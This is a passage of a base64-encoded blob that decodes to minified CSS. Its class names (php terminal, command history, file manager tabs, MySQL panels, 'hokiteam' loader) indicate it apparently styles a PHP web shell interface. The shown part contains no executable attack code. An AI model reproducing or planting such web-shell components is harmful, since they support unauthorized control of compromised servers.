91bmktdGV4dDpob3Zlcnstd2Via2l0LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1vei10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwOy1tcy10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwO3RleHQtc2hhZG93OjAgMCAyNXB4ICMwZjB9LnVwZGF0ZS1ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMjQsMjksLjcyKTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS51cGRhdGUtY29udGVudHtwb3NpdGlvbjpyZWxhdGl2ZX0udXBkYXRlLWNvbnRlbnQ+YXt0ZXh0LWRlY29yYXRpb246bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjpyZ2JhKDEwMywxNjcsNDcsLjc3KTtsZWZ0OjI0JTttYXJnaW4tdG9wOjclO2ZvbnQtc2l6ZTo0MHB4fS51cGRhdGUtY2xvc2V7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDttYXJnaW4tcmlnaHQ6MjNweDt0b3A6MTBweDtmb250LXNpemU6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOiMxMzBmNTA7d2lkdGg6NSU7Ym9yZGVyLXJhZGl1czoxMDBweDtjdXJzb3I6cG9pbnRlcjtib3JkZXI6MnB4ICMwZTI2NWEgc29saWR9LnVwZGF0ZS1jbG9zZTpob3Zlcntib3JkZXI6MnB4ICMyNWZmMDAgc29saWQ7Y29sb3I6cmVkfS5maWxlc3Rvb2xze2hlaWdodDphdXRvO3dpZHRoOmF1dG87Y29sb3I6IzY3YWJkZjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfUAtbW96LWRvY3VtZW50IHVybC1wcmVmaXgoKXsjc2VhcmNoLWlucHV0e3dpZHRoOjE3M3B4fS5lZGl0b3ItcGF0aHt0b3A6M3B4fX0uZmlsdGVycy1ob2xkZXJ7cGFkZGluZzo1cHg7cGFkZGluZy1sZWZ0OjEwcHh9LmZpbHRlcnMtaG9sZGVyIGlucHV0e3dpZHRoOjIwMHB4fS5maWx0ZXJzLWhvbGRlciBzcGFue2NvbG9yOiM4YmM3Zjd9I3JpZ2h0Y2xpY2tfbWVudXt3aWR0aDoxNzVweDt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246Zml4ZWQ7YmFja2dyb3VuZDojMGYzMDRhO2NvbG9yOiM1NTU7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTFweDstd2Via2l0LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1vei10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1tcy10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1vLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstd2Via2l0LWJveC1zaGFkb3c6LTFweCAwIDE3cHggMCAjOGI4YjhjOy1tb3otYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7Ym94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7cGFkZGluZzowO2JvcmRlcjoxcHggc29saWQgIzczNzM3Mztib3JkZXItcmFkaXVzOjEwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhe2Rpc3BsYXk6YmxvY2s7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzo2cHggOHB4IDZweCAzMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO3BhZGRpbmctbGVmdDo0MHB4fSNyaWdodGNsaWNrX21lbnUgYSBpLmZhLCNyaWdodGNsaWNrX21lbnUgYSBpbWd7aGVpZ2h0OjIwcHg7Zm9udC1zaXplOjE3cHg7d2lkdGg6MjBweDtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjVweDt0b3A6MnB4O3BhZGRpbmctbGVmdDo1cHh9I3JpZ2h0Y2xpY2tfbWVudSBhIHNwYW57Y29sb3I6I2JjYjFiMztmbG9hdDpyaWdodH0jcmlnaHRjbGlja19tZW51IGE6aG92ZXJ7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOiMzODc5ZDl9I3JpZ2h0Y2xpY2tfbWVudSBocntib3JkZXI6MXB4IHNvbGlkICNlYmViZWI7Ym9yZGVyLWJvdHRvbTowfS5jbC1wb3B1cC1maXhlZHtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyMDFlMWVhZH0jc2hvcnRjdXRNZW51LWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NDAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtiYWNrZ3JvdW5kOiMxZjFlMWVkYjtoZWlnaHQ6MTkwcHg7d2lkdGg6NTAwcHg7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtaGVhZHtiYWNrZ3JvdW5kOiMyMDcxNzQ7cGFkZGluZzo2cHg7Ym9yZGVyLXRvcDoxMHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3Jte3BhZGRpbmc6MTBweH0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmxhYmVse2Rpc3BsYXk6YmxvY2t9I3Nob3J0Y3V0TWVudS1ob2xkZXI+Zm9ybT5pbnB1dHt3aWR0aDo5OSU7aGVpZ2h0OjI0cHg7bWFyZ2luLXRvcDo0cHg7Y29sb3I6I2ZmZjtvdXRsaW5lOjA7Zm9udC1zaXplOjE2cHh9I3Nob3J0Y3V0TWVudS1ob2xkZXI+LnBvcHVwLWZvb3R7ZmxvYXQ6cmlnaHQ7aGVpZ2h0OjMwcHg7bWFyZ2luLXJpZ2h0OjhweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdD5idXR0b257aGVpZ2h0OjEwMCU7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtvdXRsaW5lOjB9LnBocC10ZXJtaW5hbC1vdXRwdXR7b3ZlcmZsb3c6YXV0bztoZWlnaHQ6ODYlO2JvcmRlcjoxcHggc29saWQgIzFlNTY3Mztib3JkZXItcmFkaXVzOjEwcHh9LmNtZC1oaXN0b3J5LWhvbGRlcnt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2RmZjNkNTtiYWNrZ3JvdW5kOiMwOTNkNTg7dG9wOi0zMDBweDtoZWlnaHQ6MzAwcHg7d2lkdGg6Y2FsYyg2OSUgKyAtMTFweCk7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwO2xlZnQ6Y2FsYygyJSAtIDlweCk7dHJhbnNpdGlvbjp2aXNpYmlsaXR5IC41cyxvcGFjaXR5IC41cyBsaW5lYXJ9LmNtZC1oaXN0b3J5LWhvbGRlciAuY29tbWFuZHMtaGlzdG9yeS1oZWFkZXJ7YmFja2dyb3VuZDojMzc1MDRlO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6MTBweCAxMHB4IDAgMH0uY21kLWhpc3RvcnktaWNvbnt3aWR0aDoyN3B4O3RvcDo2cHg7bGVmdDpjYWxjKDY5JSArIDVweCk7cG9zaXRpb246YWJzb2x1dGU7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmV7cGFkZGluZzo0cHg7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkO2N1cnNvcjpwb2ludGVyfS5oaXN0b3J5LWNtZC1saW5lOmhvdmVye2JhY2tncm91bmQ6Izk2MTExMX0jbXlVTCwjbXlVTCB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZX0jbXlVTHttYXJnaW46MDtwYWRkaW5nOjB9LmJveHtjdXJzb3I6cG9pbnRlcjstd2Via2l0LXVzZXItc2VsZWN0Om5vbmU7LW1vei11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmV9LmJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjEwIjtjb2xvcjojMDAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDo2cHh9LmNoZWNrLWJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjExIjtjb2xvcjojMWU5MGZmfS5uZXN0ZWR7ZGlzcGxheTpub25lfS5hY3RpdmV7ZGlzcGxheTpibG9ja30uZmxhZy1ob2xkZXI+aW1ne3dpZHRoOjIwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmctbGVmdDo2cHh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5Om5vbmU7b3ZlcmZsb3c6YXV0bzttaW4taGVpZ2h0OjMwMHB4O21heC1oZWlnaHQ6Y2FsYygxMDB2aCAtIDEwMHB4KX0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVyIC5oZWFkZXJ7bWluLWhlaWdodDo1MHZofSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZXtkaXNwbGF5OmJsb2NrfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWJ7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7Ym9yZGVyLWJvdHRvbTo3cHggc29saWQgIzBmMzA0YTtib3JkZXItbGVmdDo3cHggc29saWQgIzBmMzA0YTtib3JkZXItcmlnaHQ6N3B4IHNvbGlkICMwZjMwNGE7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIGltZywjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSBpbWcsLmVkaXRvci10YWItbmFtZSBpbWcsLnNxbC10YWJzIC5zcWwtdGFibmFtZSBpbWcsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYiBpbWd7d2lkdGg6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luLWxlZnQ6NXB4fSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUsLmVkaXRvci10YWItbmFtZSwuc3FsLXRhYnMgLnNxbC1uZXd0YWIsLnNxbC10YWJzIC5zcWwtdGFibmFtZSwudGVybWluYWwtdGFicyAudGVybWluYWwtdGFie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQtY29sb3I6IzEzM2Q1MTtib3JkZXItcmFkaXVzOjRweDtwYWRkaW5nOjVweDtjb2xvcjojZmZmO21hcmdpbi1yaWdodDozcHg7cGFkZGluZzo1cHg7Y3Vyc29yOnBvaW50ZXI7bWFyZ2luLWJvdHRvbToxcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFie21pbi13aWR0aDo1NXB4O3RleHQtYWxpZ246Y2VudGVyfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWI6aG92ZXIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWU6aG92ZXIsLmVkaXRvci10YWItbmFtZTpob3Zlciwuc3FsLXRhYnMgLnNxbC10YWJuYW1lOmhvdmVyLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojYTIzOTM5fS5lZGl0b3ItdGFicywuc3FsLXRhYnMsLnRlcm1pbmFsLXRhYnN7cGFkZGluZzo1cHg7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0ub3B0aW9ucy1sb2FkZXItaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzJiMjYyNmM3O3otaW5kZXg6MTF9Lm9wdGlvbnMtbG9hZGVyLWhvbGRlciBpbWd7cG9zaXRpb246YWJzb2x1dGU7dG9wOjMyJTtsZWZ0OjQ1JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7d2lkdGg6MTAwcHg7YW5pbWF0aW9uOnNwaW4gMnMgaW5maW5pdGV9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUsLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSwuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIsLnRlcm1pbmFsLXRhYi5hY3RpdmUtdGVybWluYWwtdGFie2JhY2tncm91bmQtY29sb3I6IzAwOTY4OH0udGFiLWlzLWRvbmV7YW5pbWF0aW9uOjJzIHRhYl9jaGFuZ2VfY29sb3IgaW5maW5pdGUgc3RlcC1lbmR9LnN0b3BBamF4e2NvbG9yOiNmZmY7Zm9udC1zaXplOjIwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzoxMHB4O2N1cnNvcjpwb2ludGVyfSNhX2xvYWRlcntkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDo5OX0uZm1hbmFnZXItcm93PnRke3Bvc2l0aW9uOnJlbGF0aXZlfS5mbWFuYWdlci1yb3cgLnN5bWxpbmtfcGF0aHtwb3NpdGlvbjpmaXhlZDttYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwZjMwNGE7Ym9yZGVyLXJhZGl1czoxMHB4O2ZvbnQtc2l6ZToxNXB4O3BhZGRpbmc6OHB4O2NvbG9yOiNmZGY0ZjQ7Ym9yZGVyOjFweCBzb2xpZCAjOGE4YThhO3otaW5kZXg6MTtwb2ludGVyLWV2ZW50czpub25lfS5hcmNoaXZlLWljb25ze3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0uYXJjaGl2ZS10eXBlLWRpcntmb250LXdlaWdodDpib2xkZXJ9LmFyY2hpdmUtdHlwZS1maWxle2ZvbnQtd2VpZ2h0OnVuc2V0fS5hcmNoaXZlLW5hbWV7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhe2NvbG9yOiMwZjA7Zm9udC13ZWlnaHQ6Ym9sZGVyO2N1cnNvcjpwb2ludGVyfS5hcmNoaXZlX2Rpcl9ob2xkZXIgYTpob3Zlcntjb2xvcjojZmZmfS5lZGl0b3ItY29udGVudHtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnQtaG9sZGVye2hlaWdodDo5MCV9LmVkaXRvci1jb250ZW50c3tkaXNwbGF5Om5vbmU7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmV7ZGlzcGxheTpibG9ja30uaGlzdG9yeS1wYW5lbC1jb250cm9sbGVye3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTAwMDtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjUwJTtsZWZ0OjE5JTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDk2ODc7Y3Vyc29yOnBvaW50ZXJ9LnNxbC1jb250ZW50e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTttaW4taGVpZ2h0OjMwMHB4fS5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnR7ZGlzcGxheTpibG9ja30ucGFnZXMtaG9sZGVye3BhZGRpbmc6N3B4fS5wYWdlcy1udW1iZXJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLWxlZnQ6MTBweH0ucGFnZXMtaG9sZGVyIC5wYWdlcy1udW1iZXIgYS5wYWdlLW51bWJlcntwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMwZjMwNGE7bWFyZ2luLXJpZ2h0OjhweDtjdXJzb3I6cG9pbnRlcjt3aWR0aDozM3B4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6NXB4O2NvbG9yOiNmZmY7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC41c30uYWN0aXZlLXBhZ2UtbnVtYmVye2JhY2tncm91bmQ6IzEwOTI1YyFpbXBvcnRhbnR9LnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVyOmhvdmVye2JhY2tncm91bmQ6IzhhOGE4YX0udGVybWluYWwtY29udGVudHtoZWlnaHQ6MTAwJX0udGVybWluYWwtY29udGVudCwudGVybWluYWwtdGFie2Rpc3BsYXk6bm9uZX0udGVybWluYWwtY29udGVudC5hY3RpdmUtdGVybWluYWwtY29udGVudHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlfS50ZXJtaW5hbC1idG4tZm9udGN0bHtiYWNrZ3JvdW5kOiMwMDk2ODg7d2lkdGg6NTBweDtjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXJ9LmFsZXJ0LWFyZWF7bWF4LWhlaWdodDoxMDAlO3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTo1cHg7bGVmdDoyMHB4O3JpZ2h0OjIwcHg7ei1pbmRleDo5OTk5fS5hbGVydC1ib3h7Zm9udC1zaXplOjE2cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjkpO2xpbmUtaGVpZ2h0OjEuM2VtO3BhZGRpbmc6MTBweCAxNXB4O21hcmdpbjo1cHggMTBweDtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItcmFkaXVzOjVweDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW47LXdlYmtpdC1hbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXR9LmFsZXJ0LWNvbnRlbnQtdGl0bGV7Zm9udC13ZWlnaHQ6NzAwfS5hbGVydC1ib3guYWxlcnQtc3VjY2Vzc3tiYWNrZ3JvdW5kOnJnYmEoNTYsMTI3LDU2LC44OSl9LmFsZXJ0LWVycm9ye2JhY2tncm91bmQ6cmdiYSgxOTEsNTQsNTQsLjg5KX0uYWxlcnQtYm94LmhpZGV7b3BhY2l0eTowfS5hbGVydC1jbG9zZXtiYWNrZ3JvdW5kOjAgMDt3aWR0aDoxMnB4O2hlaWdodDoxMnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxNXB4O3JpZ2h0OjE1cHh9LmFsZXJ0LWNsb3NlOmFmdGVyLC5hbGVydC1jbG9zZTpiZWZvcmV7Y29udGVudDoiIjt3aWR0aDoxNXB4O2JvcmRlci10b3A6c29saWQgMnB4ICNmZmY7cG9zaXRpb246YWJzb2x1dGU7dG9wOjVweDtyaWdodDotMXB4O2Rpc3BsYXk6YmxvY2t9LmFsZXJ0LWNsb3NlOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKX0uYWxlcnQtY2xvc2U6YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgxMzVkZWcpfS5hbGVydC1jbG9zZTpob3ZlcjphZnRlciwuYWxlcnQtY2xvc2U6aG92ZXI6YmVmb3Jle2JvcmRlci10b3A6c29saWQgMnB4ICNkOGQ4ZDh9QG1lZGlhIChtYXgtd2lkdGg6NzY3cHgpIGFuZCAobWluLXdpZHRoOjQ4MXB4KXsuYWxlcnQtYXJlYXtsZWZ0OjEwMHB4O3JpZ2h0OjEwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7LmFsZXJ0LWFyZWF7d2lkdGg6MzUwcHg7bGVmdDphdXRvO3JpZ2h0OjA7ei1pbmRleDo5OTk5fX1Aa2V5ZnJhbWVzIHRhYl9jaGFuZ2VfY29sb3J7MCV7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxfTUwJXtiYWNrZ3JvdW5kLWNvbG9yOmdyZWVufX1ALXdlYmtpdC1rZXlmcmFtZXMgYWxlcnQtc2hha2V7MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9NjAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX19QGtleWZyYW1lcyBhbGVydC1zaGFrZXswJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTQwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX0udGV4dEVmZmVjdHtwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDo1MDBweDt0b3A6LTEwcHg7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dDthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OjJ9Lmhva2l0ZWFtLWxvYWRlci10ZXh0e3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiM0NmJiNDU7dG9wOjIzJTtsZWZ0OjQ5JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7Zm9udC1zaXplOjQwcHg7bGV0dGVyLXNwYWNpbmc6N3B4fS5ob2tpLWFqYXgtZXJyb3J7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmMGEwYTt0b3A6NTAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6MzBweH0uY29ubmVjdGlvbi1oaXN0LXRhYmxle21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87dGV4dC1hbGlnbjpqdXN0aWZ5O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZX0uY29ubmVjdGlvbi1oaXN0LXRhYmxlIHRkLC5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGh7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3RleHQtYWxpZ246bGVmdDtwYWRkaW5nOjhweH0uY29ubmVjdGlvbi1oaXMtYnRue21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMyMDY5MjA7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NzAwO3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24taGlzLWJ0bi5jb25uZWN0aW9uLWRlbGV0ZXttYXJnaW46dW5zZXQ7cGFkZGluZzo1cHg7YmFja2dyb3VuZDpyZWQ7d2lkdGg6MzNweDtib3JkZXItcmFkaXVzOjNweDt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjNzfS5jb25uZWN0aW9uLWRlbGV0ZTpob3ZlcntiYWNrZ3JvdW5kOiNmNTY5NjkhaW1wb3J0YW50fS5jb25uZWN0aW9uLWhpcy1idG46aG92ZXJ7YmFja2dyb3VuZDojMzBiMzMwfSN1cF9iYXJfaG9sZGVye3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTAwMDAwO3dpZHRoOjEwMCV9I2ZpbGVzbWFuX3RhYnN7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjMGUzMDRhO2NvbG9yOiM2N2FiZGY7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0uc29ydGFibGUtZ2hvc3R7b3BhY2l0eTouNTtiYWNrZ3JvdW5kOiNjOGViZmJ9LmZvbGRlci10YWItaWNvbnt3aWR0aDoxNnB4IWltcG9ydGFudH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6bm9uZTtiYWNrZ3JvdW5kOiMxNjM3NDY7cGFkZGluZzo3cHg7Y29sb3I6IzBmMDtib3JkZXItcmFkaXVzOjEwcHg7bWluLXdpZHRoOjU4cHg7ei1pbmRleDoxMH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aDo6YWZ0ZXJ7Y29udGVudDoiIjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MTAwJTtsZWZ0OjM1cHg7bWFyZ2luLWxlZnQ6LTVweDtib3JkZXItd2lkdGg6NXB4O2JvcmRlci1zdHlsZTpzb2xpZDtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjojMTYzNzQ2IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50fS5teXNxbC1tYWlue2hlaWdodDo4NHZoO3Bvc2l0aW9uOnJlbGF0aXZlfS5teXNxbC1oaWRlLWNvbnRlbnR7ZGlzcGxheTpub25lfS5teXNxbC1xdWVyeS1yZXN1bHQtdGFic3ttYXJnaW4tYm90dG9tOjEwcHg7cGFkZGluZzozcHg7Ym9yZGVyLWJvdHRvbTo0cHggc29saWQgIzBmMzA0YX0ubXlzcWwtbWFpbiAudGFibGVzLXBhbmVsLWN0bHtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmZmO3BhZGRpbmc6MTBweDt6LWluZGV4OjE7Ym9yZGVyLXJhZGl1czoxMHB4O3RvcDo0NSU7bGVmdDpjYWxjKDE3JSArIDEwcHgpO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0udGFibGVzLXBhbmVsLWN0bC1taW57bGVmdDotMjFweCFpbXBvcnRhbnR9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjVweDttYXJnaW4tcmlnaHQ6MnB4O2JhY2tncm91bmQ6IzEzM2Q1MTtjb2xvcjojZmZmO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuNXN9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdi5teXNxbC1xdWVyeS1zZWxlY3RlZC10YWJ7YmFja2dyb3VuZDpyZWR9dGFibGUgdHIudGJsX3JvdzpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOiM0MjQwNDB9Lm15c3FsLXRhYmxlcyAudGFibGVzLXJvd3ttYXJnaW4tbGVmdDoyNnB4fS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzLC5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7ZmxvYXQ6bGVmdDtoZWlnaHQ6MTAwJTtvdmVyZmxvdzphdXRvfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRze3dpZHRoOmNhbGMoODAlICsgNHB4KTttYXJnaW4tbGVmdDo1cHg7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dW5zZXR9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWR7d2lkdGg6MTAwJX0ubXlzcW